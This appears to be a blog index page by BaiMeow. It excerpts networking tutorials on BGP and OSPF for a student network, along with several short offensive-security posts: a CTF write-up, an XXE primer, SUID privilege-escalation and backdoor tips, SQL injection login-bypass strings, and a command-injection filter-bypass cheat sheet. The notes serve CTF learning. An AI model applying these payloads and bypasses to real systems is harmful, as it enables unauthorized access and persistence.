BGP 组网,DN11 与 VidarNetwork 的并网试验

DN11 是受 DN42 启发而搭建的一个实验性网络,目前用于杭电范围内,对网络感兴趣的同学学习使用,DN11和DN42非常相似,他们之间的经验都有广泛借鉴意义。 DN11配网第二期,接上文 “使用 Bird2 配置 WireGuard + OSPF 实现网络的高可用”,这是一篇用于 DN11 的 BGP 配置教程 随着 DN11 的扩大,使用 OSPF 进行集中管理已经变得麻烦起来了,此外还能看到一堆隧道IP污染路由表 也有不少人手上有多个内网,不得不打破 DN11 原先一个人使用一个/24网段的约定 近期又在考虑和 VidarNetwork 并网的事情,最终合并完的网络会变得相当庞大,或许是时候转移到BGP上去了 准备 选择一个AS Number BGP 是用于连接不同 AS 的路由协议,现在定义每一个人选取自己的AS号管理自己的AS。对于已经有AS号的,可以使用已有的AS号,没有AS号的建议选择 421111xxxx 并登记进文档。 选择自己的网段 首先,不要一次性宣告大于/24的网段,/24已经很够你折腾,如果你有多个路由设备并且确实有多个真实子网,那么你可以宣告两个或者三个/24的网段。 也不要为了省网段资源而采用/25这种做法,没有必要,只会给你带来更多的麻烦。 如果你是新加入DN11的成员,虽然DN11改为BGP的同时我们放开了网段的限制,但是真别用常见网段 172.16.x.0/24 (这是DN11之前使用的网段,.17 .18这些段docker会用,不要宣告) 10.x.x.0/24 (注意避开移动的内网段,不要使用太高或者太低的地址) 11.x.x.0/24 (美国国防部的公网段其中之一,他们一般当内网段用) 100.64.x.0/24 (比较少见的保留段) 192.168.x.0 (真的很容易冲突,不要用) 此外你还需要避开HDU已经使用了的内网段,具体有哪些段可以在飞书知识库上查找 隧道 本小节写给 Openwrt 用户,ros 用户应该都会,linux 用户参考 wg-quick 使用教程。但无论你是什么用户,请务必看完本章节的内容,铺设隧道这件事有一些实践上的做法可供参考。 安装wg-quick-op 我给 openwrt 专门写了一个用来配置 wireguard 的工具,他会帮你处理开机启动,ddns 的问题的同时你可以使用 wg-quick 配置文件的所有配置。主要是基于 wg-quick-go 修改,定制了一些实用功能。 ...

June 1, 2023 · BaiMeow

d3go write up

目录穿越读取源代码 directory traversal to dump source code go embed * 的错误使用,导致源代码被打包进程序。 The incorrect use of go embed * results in the source code being packed into the program. 再结合错误的静态文件托管,导致/../路径可以列目录获取源代码 This, combined with incorrect static file serving, results in /../ listing directory to get the source code. Gorm 软删除注入 代码审计,发现 管理员账户是数据库中的第一个用户,而这个用户目前无法登陆 对于/register接口,controller使用了c.ShouldBindJSON(), db层对其返的值直接进行一个db.Save()到数据库的操作,可以注入gorm.Model相关字段 因此可以构造注入deletedat字段,使得原来的admin被软删除 A code audit was performed and found that the administrator account is the first user in the database, and this user is currently unable to log in For the /register api, the controller uses c.ShouldBindJSON(), and the db layer writes the variables bound to it directly to the database with db.Save(). So you can construct the following payload to inject the deletedat field, so that the original admin is soft-deleted. ...

May 4, 2023 · BaiMeow

深夜碎碎念,无缘相识,更无缘相恋

以下内容被密码保护

March 26, 2023 · BaiMeow

使用 Bird2 配置 WireGuard + OSPF 实现网络的高可用

DN11 是受 DN42 启发而搭建的一个实验性网络,目前用于杭电范围内,对网络感兴趣的同学学习使用,DN11和DN42非常相似,他们之间的经验都有广泛借鉴意义。 背景 建 dn11 的时候遇到了一些小问题,在 fullmesh 的网络拓扑的情况下偶尔会出现几个节点连不上的情况,连不上了就直接连不上了,没有后话了。 实际上是可以通过绕路的方式联通的,这就要引入一些路由协议了,最早的构想是引入 BGP 协议的但是考虑了一下觉得这些东西的体量还是太大了,最后决定引入 ospf 协议,并且采取单一 area 的方式。 本文章将使用 bird2 配置 ospf over WireGuard,目的是给 dn11 成员提供一个 嘴对嘴的 ospf over WireGuard 配置教程。对于其他人可以忽略 dn11 规范部分来参考本教程进行配置。 OSPF 配置 先配置OSPF 这里我们选择 bird2 提供 ospf 支持,先配置 bird2 opkg install bird2 opkg install bird2c 在 openwrt 上,bird2 的配置文件默认地址在/etc/bird.conf bird2 的默认配置文件很长,算是一个 all config 先给他放到一边去 mv /etc/bird.conf /etc/bird.conf.bak 然后我们新建一个自己的 bird.conf vim /etc/bird.conf 给各位准备了配置文件模板,粘贴进去再改改就好了 log syslog all; debug protocols all; router id 172.16.255.4; protocol device{ } protocol kernel{ ipv4 { export where proto = "wg"; }; } protocol ospf v2 wg { ipv4 { export all; import where net !~ 172.16.4.0/24; }; area 0.0.0.0 { interface "wg*" { cost 5; }; }; area 0.0.0.4 { interface "br-lan"; }; } 每个路由设备的route id都是唯一的,route id本质上是一个 int32, 只是为了方便识别被.分割成了四段,需要提前约定。为了方便记忆和配置,这里随便取了一个网段将这个网段下的 ip 对应的 int 作为route id,dn11 对于route id有规范,起始 id 为 172.16.255.1,请按顺序往下申请 import where net !~ 172.16.4.0/24;这一行指定的网段的路由不会从 ospf 中学习,一般需要把这里配置成你的lan的网段,因为lan的路由早已由系统定义,不需要也不能由ospf来指定 export all;这一行指定了由 ospf 导出给其他路由学习的网段,如果你由 ospf 管理的接口中有不愿意导出的网段可以修改这里,这里导出全部 后面紧跟着两个 area,每个 area 也有自己的 id,这两个 id 和 route id 一样仅仅是一个 int32 并不代表任何网络含义,仅仅是个名字,0.0.0.0是骨干 area ,在这里必须统一使用area 0.0.0.0 在下一行我们用interface "wg*"指定了一些接口, 这里的*是通配符,这种写法指定了所有名字以 wg 开头的接口在这个area内,后续建立 wg 接口的时候要遵循这里的配置,如果你想使用其他名称也可以修改这里的配置 在下一行,指定了一个cost,事实上即使不配置costospf 也会自动地指定一个cost,cost默认的值为 $\frac{100Mbps}{连接速度}$ area 0.0.0.4用于你的 lan,这里其实是可以省略的,只要你将你得 lan 接口加入area 0.0.0.0就行了,但是 dn11 目前定义每个人的 lan 都单独占用一个 area, 因此,需要一个唯一的 area 用于 lan, 请在文档中申请 下一行的 interface 里指定了 lan 接口,对于 openwrt 旁路由,这里一般就是 br-lan,主路由一般就是 lan 编辑完配置文件后,就可以启动bird2了 ...

March 5, 2023 · BaiMeow

XXE FINAL

Preparation XXE:XML External Entity Injection, XML外部实体注入 <?xml version="1.0"? encoding="utf-8"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note> encoding xml可以采取不同编码,定义在encoding中,对于绕过一些bypass有帮助 对于java应用可以使用utf-32be绕过!DOCTYPE过滤 其实这一行不写很多也认得出来是什么编码 DTD(Document Type Definition, 文档类型定义) 包含在<!DOCTYPE ... >中 一般实体与元素 元素 <!ELEMENT 元素名称 类别> <!ELEMENT 元素名称 (元素内容)> 元素用于声明xml元素,了解即可,可以引用实体 实体 <!ENTITY 实体名称 "实体的值"> <!ENTITY 实体名称 SYSTEM "URI/URL"> 实体可以被引用&实体名称; !! 实体不是什么抽象的概念,比如内建实体&lt;是<,做过前端开发应该都见过,只是现在这里允许自定义实体 参数实体 上文介绍的是一般实体,现在对比介绍参数实体 <!DOCTYPE note [ <!ENTITY % abc "233"> <!ENTITY bcs "344"> ]> <user>&bcs</user> 上面的定义中,出现了两种实体,分别是一般实体和参数实体,参数实体的定义和一般实体比一般实体的定义多了一个百分号% ...

February 1, 2023 · BaiMeow

分享一首歌

童话

January 1, 2023 · BaiMeow

SUID特殊权限提权

SUID特殊权限提权 SUID是什么 SUID是一种特殊权限,当拥有该权限的程序运行时,进程的属主不是进程的发起者而是程序的所有者。 SUID可以用来做什么 SUID是维持权限的一种手段,攻击者在临时获得权限后,可以将vim,cp等命令设置为SUID特殊权限,例如可以修改/root/.ssh/authorized_keys进行无密码登录,此外还有很多其他方式留后门。 添加SUID权限 example chmod u+s /usr/bin/vim chmod g+s /usr/bin/vim 寻找SUID权限文件 受害者错误配置的文件权限时,可以利用这些被错误配置的文件完成攻击 查找SUID、SGID文件 #Find SUID find / -type f -perm -u=s 2>/dev/null #Find GUID find / -type f -perm -g=s 2>/dev/null reference: http://cn-sec.com/archives/501443.html https://gtfobins.github.io

October 8, 2022 · BaiMeow

php://filter

php输入输出流过滤器 references:https://www.php.net/manual/zh/wrappers.php.php

September 30, 2022 · BaiMeow

sql注入点

UNION 先想办法结束上个语句,再用UNION拼接下一个语句 堆叠注入 同上,但用;拼接 WHERE 使其SELECT所有数据 注入: admin’ – admin’ # admin’/* ’ or 1=1– ’ or 1=1# ’ or 1=1/* ‘) or ‘1’=‘1– ‘) or (‘1’=‘1– 以不同的用户登陆 ’ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1– 报错注入

September 30, 2022 · BaiMeow

命令执行漏洞

空格绕过 ${IFS} $IFS$9 $9指传过来的第9个参数 %09(需要PHP环境) <或者<>重定向 关键字绕过 变量拼接 a=c;b=at;c=fl;d=ag;$a$b $c$d 单引号,双引号绕过 ca''t flag 编码绕过 $(printf "\154\163") ==>ls $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag 读文件绕过(当cat被过滤) more:一页一页的显示档案内容 less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页 head:查看头几行(参数-c 10指定前10个字节) tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行(参数-c 10指定后10个字节) nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi/vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容 反斜线 c\at $1、$2等和$@ c$1at from:https://blog.51cto.com/m0re/3879244

September 22, 2022 · BaiMeow